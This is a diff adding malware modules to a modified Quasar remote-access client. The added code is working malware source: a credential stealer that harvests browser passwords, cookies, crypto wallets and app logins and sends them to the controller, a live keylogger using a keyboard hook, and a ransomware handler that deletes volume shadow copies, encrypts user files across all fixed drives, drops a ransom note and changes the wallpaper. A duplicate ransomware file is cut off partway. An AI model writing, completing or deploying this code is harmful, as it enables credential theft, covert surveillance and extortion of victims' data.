File.Copy(file, destFile, true); + } + + foreach (string subDir in Directory.GetDirectories(sourceDir)) + { + string destSubDir = Path.Combine(destDir, Path.GetFileName(subDir)); + CopyDirectory(subDir, destSubDir); + } + } + + private void RemoveFileTransfer(int id) + { + if (_activeTransfers.ContainsKey(id)) + { + _activeTransfers[id]?.Dispose(); + _activeTransfers.TryRemove(id, out _); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + foreach (var transfer in _activeTransfers) + { + transfer.Value?.Dispose(); + } + + _activeTransfers.Clear(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/IntelixStealerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/IntelixStealerHandler.cs new file mode 100755 index 0000000..3e4aeec --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/IntelixStealerHandler.cs @@ -0,0 +1,238 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using Intelix.Helper; +using Intelix.Helper.Data; +using Intelix.Targets; +using Intelix.Targets.Applications; +using Intelix.Targets.Browsers; +using Intelix.Targets.Crypto; +using Intelix.Targets.Device; +using Intelix.Targets.Games; +using Intelix.Targets.Messangers; +using Intelix.Targets.Vpn; + +namespace Quasar.Client.Messages +{ + public class IntelixStealerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetIntelixStealerLogs; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetIntelixStealerLogs msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetIntelixStealerLogs message) + { + new Thread(() => + { + try + { + List targetsBrowsers = new List + { + new Chromium(), + new Gecko() + }; + + List targets = new List + { + new ScreenShot(), + new GameList(), + new InstalledBrowsers(), + new InstalledPrograms(), + new ProcessDump(), + new ProductKey(), + new SystemInfo(), + new WifiKey(), + new Telegram(), + new Discord(), + new Element(), + new Icq(), + new MicroSIP(), + new Jabber(), + new Outlook(), + new Pidgin(), + new Signal(), + new Skype(), + new Tox(), + new Viber(), + new Minecraft(), + new BattleNet(), + new Epic(), + new Riot(), + new Roblox(), + new Steam(), + new Uplay(), + new XBox(), + new Growtopia(), + new ElectronicArts(), + new Rdp(), + new AnyDesk(), + new CyberDuck(), + new DynDns(), + new FileZilla(), + new Ngrok(), + new PlayIt(), + new TeamViewer(), + new WinSCP(), + new TotalCommander(), + new FTPNavigator(), + new FTPRush(), + new CoreFtp(), + new FTPGetter(), + new FTPCommander(), + new TeamSpeak(), + new Obs(), + new GithubGui(), + new NoIp(), + new FoxMail(), + new Navicat(), + new RDCMan(), + new Sunlogin(), + new Xmanager(), + new JetBrains(), + new PuTTY(), + new Cisco(), + new RadminVPN(), + new CyberGhost(), + new ExpressVPN(), + new HideMyName(), + new IpVanish(), + new MullVad(), + new NordVpn(), + new OpenVpn(), + new PIAVPN(), + new ProtonVpn(), + new Proxifier(), + new SurfShark(), + new Hamachi(), + new WireGuard(), + new SoftEther(), + new CryptoDesktop(), + new Grabber(), + new UserAgentGenerator(), + new CryptoChromium(), + new CryptoGecko() + }; + + StringBuilder stringBuilderError = new StringBuilder(); + InMemoryZip zip = new InMemoryZip(); + + try + { + Counter counter = new Counter(); + + string publicIp = "N/A"; + try + { + publicIp = IpApi.GetPublicIp(); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"Failed to get IP: {ex.Message}"); + } + + string countryCode = "XX"; + try + { + countryCode = IpApi.GetCountryCode(); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"Failed to get country code: {ex.Message}"); + } + + string hwid = "UnknownHWID"; + try + { + hwid = HwidGenerator.GetHwid(); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"Failed to get HWID: {ex}"); + } + + ArchiveStructure archiveStructure = new ArchiveStructure(countryCode, publicIp, hwid); + zip.SetRootFolderPrefix(archiveStructure.RootFolderName); + + // Process browsers + ProcessKiller.KillerAll(); + Thread.Sleep(200); + + foreach (var target in targetsBrowsers) + { + try + { + target.Collect(zip, counter); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"[BROWSER: {target.GetType().Name}] {ex.Message}"); + } + } + + // Process other targets + foreach (var target in targets) + { + try + { + target.Collect(zip, counter); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"[TARGET: {target.GetType().Name}] {ex.Message}"); + } + } + + counter.Collect(zip); + ConsolidatedFilesGenerator.GenerateConsolidatedFiles(zip, counter, publicIp, countryCode, hwid); + zip.AddTextFile("Error.txt", stringBuilderError.ToString()); + + // Send the zip data back + byte[] zipData = zip.ToArray(); + + client.Send(new GetIntelixStealerLogsResponse + { + ZipData = zipData, + Hwid = hwid, + PublicIp = publicIp, + CountryCode = countryCode, + PasswordCount = counter.Browsers.Sum(b => (long)b.Password), + CookieCount = counter.Browsers.Sum(b => (long)b.Cookies), + WalletCount = counter.CryptoDesktop.Count() + counter.CryptoChromium.Count(), + Success = true + }); + } + finally + { + if (zip != null) + ((IDisposable)zip).Dispose(); + } + } + catch (Exception ex) + { + client.Send(new GetIntelixStealerLogsResponse + { + Success = false, + ErrorMessage = ex.Message + }); + } + }) + { + IsBackground = true + }.Start(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/KeyloggerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/KeyloggerHandler.cs new file mode 100755 index 0000000..4a91637 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/KeyloggerHandler.cs @@ -0,0 +1,28 @@ +using Quasar.Client.Config; +using Quasar.Common.Messages; +using Quasar.Common.Networking; + +namespace Quasar.Client.Messages +{ + public class KeyloggerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetKeyloggerLogsDirectory msg: + Execute(sender, msg); + break; + } + } + + public void Execute(ISender client, GetKeyloggerLogsDirectory message) + { + client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH }); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/LiveKeyloggerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/LiveKeyloggerHandler.cs new file mode 100755 index 0000000..2bbf9a2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/LiveKeyloggerHandler.cs @@ -0,0 +1,319 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class LiveKeyloggerHandler : IMessageProcessor + { + private static Thread _keyloggerThread; + private static ISender _client; + private static bool _isRunning = false; + + public bool CanExecute(IMessage message) => message is DoStartLiveKeylogger || message is DoStopLiveKeylogger; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + try + { + switch (message) + { + case DoStartLiveKeylogger _: + StartKeylogger(sender); + break; + case DoStopLiveKeylogger _: + StopKeylogger(); + break; + } + } + catch { } + } + + private void StartKeylogger(ISender client) + { + try + { + if (_isRunning) return; + + _client = client; + _isRunning = true; + + _keyloggerThread = new Thread(() => + { + try + { + KeyloggerCore.Run(_client); + } + catch { } + }); + _keyloggerThread.SetApartmentState(ApartmentState.STA); + _keyloggerThread.IsBackground = true; + _keyloggerThread.Start(); + } + catch { } + } + + private void StopKeylogger() + { + try + { + if (!_isRunning) return; + + _isRunning = false; + KeyloggerCore.Stop(); + + if (_keyloggerThread != null && _keyloggerThread.IsAlive) + { + _keyloggerThread.Join(1000); + } + + _client = null; + } + catch { } + } + } + + internal static class KeyloggerCore + { + private static IntPtr _hookID = IntPtr.Zero; + private static LowLevelKeyboardProc _proc; + private static ISender _client; + private static bool _isRunning = false; + + public static void Run(ISender client) + { + try + { + _client = client; + _isRunning = true; + _proc = HookCallback; + _hookID = SetHook(_proc); + + if (_hookID == IntPtr.Zero) + { + _isRunning = false; + return; + } + + // Run message loop to keep hook alive + while (_isRunning) + { + try + { + Application.DoEvents(); + Thread.Sleep(10); + } + catch { } + } + } + catch { } + finally + { + Stop(); + } + } + + public static void Stop() + { + try + { + _isRunning = false; + if (_hookID != IntPtr.Zero) + { + UnhookWindowsHookEx(_hookID); + _hookID = IntPtr.Zero; + } + } + catch { } + } + + private static IntPtr SetHook(LowLevelKeyboardProc proc) + { + try + { + using (Process curProcess = Process.GetCurrentProcess()) + using (ProcessModule curModule = curProcess.MainModule) + { + return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curModule.ModuleName), 0); + } + } + catch + { + return IntPtr.Zero; + } + } + + private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) + { + try + { + if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN && _isRunning) + { + int vkCode = Marshal.ReadInt32(lParam); + bool capsLock = (GetKeyState(0x14) & 0xffff) != 0; + bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0; + string currentKey = KeyboardLayout((uint)vkCode); + + if (capsLock || shiftPress) + { + currentKey = currentKey.ToUpper(); + } + else + { + currentKey = currentKey.ToLower(); + } + + if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24) + currentKey = "[" + (Keys)vkCode + "]"; + else + { + switch (((Keys)vkCode).ToString()) + { + case "Space": + currentKey = " "; + break; + case "Return": + currentKey = "[ENTER]\n"; + break; + case "Escape": + currentKey = "[ESC]"; + break; + case "LControlKey": + case "RControlKey": + currentKey = "[CTRL]"; + break; + case "RShiftKey": + case "LShiftKey": + currentKey = ""; + break; + case "Back": + currentKey = "[BACK]"; + break; + case "LWin": + currentKey = "[WIN]"; + break; + case "Tab": + currentKey = "[TAB]\n"; + break; + case "Capital": + currentKey = capsLock ? "[CAPSLOCK: OFF]" : "[CAPSLOCK: ON]"; + break; + } + } + + if (!string.IsNullOrEmpty(currentKey)) + { + string windowTitle = GetActiveWindowTitle(); + + if (_client != null) + { + try + { + _client.Send(new LiveKeystrokeData + { + WindowTitle = windowTitle, + Keystroke = currentKey + }); + } + catch { } + } + } + } + } + catch { } + + try + { + return CallNextHookEx(_hookID, nCode, wParam, lParam); + } + catch + { + return IntPtr.Zero; + } + } + + private static string KeyboardLayout(uint vkCode) + { + try + { + StringBuilder sb = new StringBuilder(); + byte[] vkBuffer = new byte[256]; + if (!GetKeyboardState(vkBuffer)) return ""; + uint scanCode = MapVirtualKey(vkCode, 0); + IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId)); + ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout); + return sb.ToString(); + } + catch { } + return ((Keys)vkCode).ToString(); + } + + private static string GetActiveWindowTitle() + { + try + { + IntPtr hwnd = GetForegroundWindow(); + GetWindowThreadProcessId(hwnd, out uint pid); + Process p = Process.GetProcessById((int)pid); + string title = p.MainWindowTitle; + if (string.IsNullOrWhiteSpace(title)) + title = p.ProcessName; + return title; + } + catch + { + return "Unknown"; + } + } + + #region "Native Methods" + private const int WM_KEYDOWN = 0x0100; + private const int WHKEYBOARDLL = 13; + + private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool UnhookWindowsHookEx(IntPtr hhk); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("user32.dll")] + private static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll", SetLastError = true)] + private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); + + [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)] + private static extern short GetKeyState(int keyCode); + + [DllImport("user32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetKeyboardState(byte[] lpKeyState); + + [DllImport("user32.dll")] + private static extern IntPtr GetKeyboardLayout(uint idThread); + + [DllImport("user32.dll")] + private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, + [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl); + + [DllImport("user32.dll")] + private static extern uint MapVirtualKey(uint uCode, uint uMapType); + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/MessageBoxHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/MessageBoxHandler.cs new file mode 100755 index 0000000..608663f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/MessageBoxHandler.cs @@ -0,0 +1,39 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class MessageBoxHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoShowMessageBox; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShowMessageBox msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoShowMessageBox message) + { + new Thread(() => + { + // messagebox thread resides in csrss.exe - wtf? + MessageBox.Show(message.Text, message.Caption, + (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button), + (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon), + MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); + }) {IsBackground = true}.Start(); + + client.Send(new SetStatus { Message = "Successfully displayed MessageBox" }); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/NotificationMessageProcessor.cs b/Quasar-1.4.1/Quasar.Client/Messages/NotificationMessageProcessor.cs new file mode 100755 index 0000000..d02966b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/NotificationMessageProcessor.cs @@ -0,0 +1,11 @@ +using Quasar.Common.Messages; + +namespace Quasar.Client.Messages +{ + public abstract class NotificationMessageProcessor : MessageProcessorBase + { + protected NotificationMessageProcessor() : base(true) + { + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs new file mode 100755 index 0000000..605ac4c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs @@ -0,0 +1,433 @@ +using Quasar.Client.Ransomware; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class RansomwareHandler : IMessageProcessor + { + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni); + + private const uint SPI_SETDESKWALLPAPER = 0x0014; + private const uint SPIF_UPDATEINIFILE = 0x01; + private const uint SPIF_SENDCHANGE = 0x02; + + // Target extensions for encryption + private static readonly string[] TargetExtensions = new[] + { + // Documents + ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp", + ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf", + ".yaml", ".yml", ".toml", ".md", ".markdown", + // Images + ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico", + ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps", + ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm", + // Videos + ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg", + ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx", + // Audio + ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus", + ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka", + // Archives + ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg", + ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa", + // Databases + ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db", + ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb", + // Code & Development + ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs", + ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp", + ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp", + ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj", + ".vcxproj", ".xcodeproj", ".pbxproj", + // 3D & CAD + ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", ".dwg", ".dxf", + ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc", + // Email & Communication + ".pst", ".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics", + // Office & Productivity + ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps", + // Backup & Virtual + ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf", + // Certificates & Keys + ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg", + ".asc", ".sig", ".pgp", ".kdb", ".kdbx", + // Financial & Business + ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif", + // Game Files + ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa", + ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc", + // Fonts + ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt", + // eBooks + ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc", + // Other Important + ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env" + }; + + public bool CanExecute(IMessage message) => message is DoRansomware; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoRansomware ransomware: + Execute(sender, ransomware); + break; + } + } + + private void Execute(ISender sender, DoRansomware ransomware) + { + new Thread(() => + { + try + { + if (ransomware.Action == "ENCRYPT") + { + PerformEncryption(sender, ransomware); + } + else if (ransomware.Action == "DECRYPT") + { + PerformDecryption(sender, ransomware); + } + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "ERROR", + Message = ex.Message, + IsComplete = true + }); + } + }).Start(); + } + + private void WipeVolumeShadowCopies(ISender sender) + { + try + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = "Deleting volume shadow copies...", + IsComplete = false + }); + + // Method 1: vssadmin delete shadows /all /quiet + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "vssadmin.exe", + Arguments = "delete shadows /all /quiet", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(10000); + } + catch { } + + // Method 2: wmic shadowcopy delete + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "wmic.exe", + Arguments = "shadowcopy delete", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(10000); + } + catch { } + + // Method 3: PowerShell + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "powershell.exe", + Arguments = "-Command \"Get-WmiObject Win32_ShadowCopy | ForEach-Object {$_.Delete()}\"", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(15000); + } + catch { } + + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = "Volume shadow copies deleted.", + IsComplete = false + }); + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = $"Failed to delete volume shadow copies: {ex.Message}", + IsComplete = false + }); + } + } + + private void PerformEncryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting encryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + // Only target fixed drives (not CD-ROM, network, etc.) + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + // Skip if it's the system drive root (to avoid Windows folder) + string drivePath = drive.RootDirectory.FullName; + + // Scan the entire drive but exclude Windows system folders + filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed); + } + catch { } + } + + // Drop ransom note + if (!string.IsNullOrEmpty(ransomware.RansomNote)) + { + try + { + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote); + } + catch { } + } + + // Change wallpaper + if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText)) + { + try + { + ChangeWallpaper(ransomware.WallpaperText); + } + catch { } + } + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = $"Encryption completed. {filesProcessed} files encrypted.", + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount) + { + int filesProcessed = 0; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return 0; + } + + // Get files in current directory + var files = Directory.GetFiles(directory) + .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower())) + .ToList(); + + foreach (var file in files) + { + try + { + // Encrypt the file + FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + filesProcessed++; + + // Send progress update every 50 files + if (filesProcessed % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = $"Encrypting... {currentCount + filesProcessed} files processed", + FilesProcessed = currentCount + filesProcessed, + IsComplete = false + }); + } + } + catch { } + } + + // Recursively process subdirectories + foreach (var subDir in Directory.GetDirectories(directory)) + { + filesProcessed += EncryptDirectory(sender, subDir, ransomware, currentCount + filesProcessed); + } + } + catch { } + + return filesProcessed; + } + + private void PerformDecryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting decryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + string drivePath = drive.RootDirectory.FullName; + filesProcessed += DecryptDirectory(sender, drivePath, ransomware, filesProcessed); + } + catch { } + } + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = $"Decryption completed. {filesProcessed} files decrypted.", + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private int DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount) + { + int filesProcessed = 0; + + try + { + string lowerDir = directory.ToLower(); + + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return 0; + } + + // Get encrypted files + var files = Directory.GetFiles(directory) + .Where(f => f.EndsWith(ransomware.FileExtension, StringComparison.OrdinalIgnoreCase)) + .ToList(); + + foreach (var file in files) + { + try + { + // Decrypt the file + bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + if (success) + { + filesProcessed++; + + // Send progress update every 50 files + if (filesProcessed % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = $"Decrypting... {currentCount + filesProcessed} files processed", + FilesProcessed = currentCount + filesProcessed, + IsComplete = false + }); + } + } + } + catch { } + } + + // Recursively process subdirectories + foreach (var subDir in Directory.GetDirectories(directory)) + { + filesProcessed += DecryptDirectory(sender, subDir, ransomware, currentCount + filesProcessed); + } + } + catch { } + + return filesProcessed; + } + + private void ChangeWallpaper(string text) + { + try + { + string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp"); + + // Create a simple bitmap with text + using (var bmp = new System.Drawing.Bitmap(1920, 1080)) + using (var g = System.Drawing.Graphics.FromImage(bmp)) + { + g.Clear(System.Drawing.Color.Black); + using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold)) + using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red)) + { + var format = new System.Drawing.StringFormat + { + Alignment = System.Drawing.StringAlignment.Center, + LineAlignment = System.Drawing.StringAlignment.Center + }; + g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), format); + } + bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp); + } + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + catch { } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs.broken b/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs.broken new file mode 100755 index 0000000..f8c41bd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs.broken @@ -0,0 +1,1199 @@ +using Quasar.Client.Ransomware; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class RansomwareHandler : IMessageProcessor + { + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni); + + private const uint SPI_SETDESKWALLPAPER = 0x0014; + private const uint SPIF_UPDATEINIFILE = 0x01; + private const uint SPIF_SENDCHANGE = 0x02; + + // Target extensions for encryption + private static readonly string[] TargetExtensions = new[] + { + // Documents + ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp", + ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf", + ".yaml", ".yml", ".toml", ".md", ".markdown", + // Images + ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico", + ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps", + ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm", + // Videos + ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg", + ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx", + // Audio + ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus", + ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka", + // Archives + ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg", + ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa", + // Databases + ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db", + ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb", + // Code & Development + ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs", + ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp", + ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp", + ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj", + ".vcxproj", ".xcodeproj", ".pbxproj", + // 3D & CAD + ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", 